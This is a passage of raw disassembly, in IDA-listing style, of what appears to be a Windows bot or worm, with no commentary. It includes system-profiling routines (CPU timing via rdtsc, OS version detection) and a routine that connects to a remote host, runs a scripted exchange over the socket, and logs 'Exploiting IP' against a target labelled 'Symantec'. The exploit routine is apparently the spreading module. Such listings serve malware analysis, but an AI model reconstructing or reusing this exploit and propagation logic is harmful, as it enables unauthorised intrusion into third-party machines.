loc_41AED4:				; CODE XREF: sub_41AE41+25j
					; sub_41AE41+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AE41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2680F3Dh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1

loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34

loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44

loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54

loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64

loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74

loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83

loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB98
		mov	[ebp+var_CC], 94h
		call	near ptr 26E0528h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431630

loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43162C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------

loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431628
		jmp	short loc_41B059
; ---------------------------------------------------------------------------

loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431624
		jmp	short loc_41B059
; ---------------------------------------------------------------------------

loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431620
		jmp	short loc_41B059
; ---------------------------------------------------------------------------

loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------

loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059

loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431614

loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091

loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BC4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383BC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8C4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA24
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB99C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------

loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680A31h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC88
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2731391h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2850000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43ABAC
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBACC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB8A8
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43AD00
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACF8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------

loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACF4

loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------

loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACF0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43ACAC
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADE0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8E0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch

loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB994
		call	dword_4CB9B8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB9AC
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB958
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADC4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------

loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD88
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------

loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD6C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------

loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD40
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------

loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD10

loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h

loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA18
		push	[ebp+var_4]
		call	dword_4CBA18
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCDC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADE4
		movsd
		movsb
		mov	esi, offset dword_4DBDDC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346EC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB89C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi

loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------

loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_6]

loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA34
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------

loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]

loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA34

loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------

loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------

loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	1
		lea	eax, [ebp+var_6]

loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA34
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------

loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]

loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA34
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA34

loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADFC
		lea	edi, [ebp-38h]
		mov	ax, word_4346EC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADF8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDE4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADF4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADF0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA64
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA7C

loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA24
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9E4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB98C
		test	eax, eax
		jnz	loc_41B820

loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9FC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------

loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------

loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA34
		push	1
		pop	edi

loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------

loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E

loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA7C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------

loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA34
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCDC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE

loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCDC[eax]
		push	eax
		push	offset dword_43ADE8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891

loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi

loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2

loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA7C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431810[eax]
		push	1
		lea	eax, dword_431810[eax]
		pop	eax

loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0

loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
